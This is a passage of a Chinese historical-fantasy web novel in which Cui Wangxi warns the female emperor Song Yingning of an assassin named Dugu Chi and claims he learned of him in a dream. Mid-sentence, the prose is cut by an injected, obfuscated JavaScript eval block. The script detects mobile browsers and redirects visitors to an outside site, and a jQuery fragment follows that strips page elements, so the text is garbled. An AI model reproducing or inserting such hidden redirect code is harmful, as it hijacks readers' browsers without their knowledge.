....”
宋撄宁指尖点了点他的伤处,痛感混着痒意传到心间,令他有些迷恋。
“有人要杀你。”
宋撄宁动作一滞,紧紧盯着崔望熙的双眼。
那张儒雅清隽的面孔被朗朗月华照得一片惨白,长眸湿润,带着几分脆弱。
再往下,衣袍凌乱,玉带歪斜。
她指尖微微用力,滑过那攥着缰绳和令牌所印出的血痕,低着头问:“是谁?”
“独孤炽。”
崔望熙小心翼翼地捏着帝王的纤纤指节,拢在掌中。
“撄宁,独孤炽要杀你。”
宋撄宁面不改色:“你是如何知道这个名字的?崔望熙。”
“撄宁,圣人,你信我——独孤炽、他真的会杀了你......”
梦醒心碎,赶来的路上他不是没有怀疑梦境的真假,可从前疑惑过的,丝丝缕缕的联系,莫名又隐秘。
河西行省献上的异常寿礼,贺兰氏与独孤氏之间的多年渊源......令他极为不安。
独孤炽尚不知何许人也,潜藏暗处,可宋撄宁站在人前,坐在高台,那么醒目那么显眼,敌暗她明,实在危险。
“崔望熙,朕问的是,你如何得知这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966544|161269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个名字的?”
“我......”他感受着女子有些凉的手指,艰难地开口:“臣近日神思恍惚,夜间多梦,梦到了......”
他知道这个理由荒诞又怪异,可他别无选择。
却见宋撄宁面色缓和了不少,朝殿外吩咐声“取药来”,便对他道:“朕知道了,崔相不必担忧。”
崔望熙维持着蹲跪的姿势不敢动弹,心中隐隐有些期待,宫女们将一只小瓷罐和几卷细纱呈来,放在御案上就静静退守殿外。
宋撄宁捻着瓷罐,将药粉细细洒在他掌心,痛感瞬间被若有若无的凉意取代。
她将罐子放回案上,看着崔望熙有些怔住的模样,不禁含笑:“等着朕替你包扎?”
崔望熙回过神,快速眨眨眼,起身取来纱布,一圈圈缠上手掌。
“多谢圣人赐药。”
“你凭一个梦,便断言他要杀朕?”
崔望熙答道:“臣以为......独孤氏尚有余孽后裔留存在世,且此前听闻河西行省有异,贺兰和独孤之间,或有联系。”
宋撄宁定定地看着他,不知为何,竟感到一丝轻松。
压着自己这么久的秘密,追查许久,踽踽独行,唯有符染杜年偶尔宽慰,如今,也算有另一人知晓了。
这个史书里权倾朝野、为她征战、英年早逝的崔望熙。
至于梦境之说,宋撄宁并未去猜疑其中真假。
毕竟,还能有比她的直播与弹幕更离奇之事吗?
她从御案一侧的小屉中,拿出了杜年传回的那封信,“崔相看看吧。”
崔望熙展开信纸,只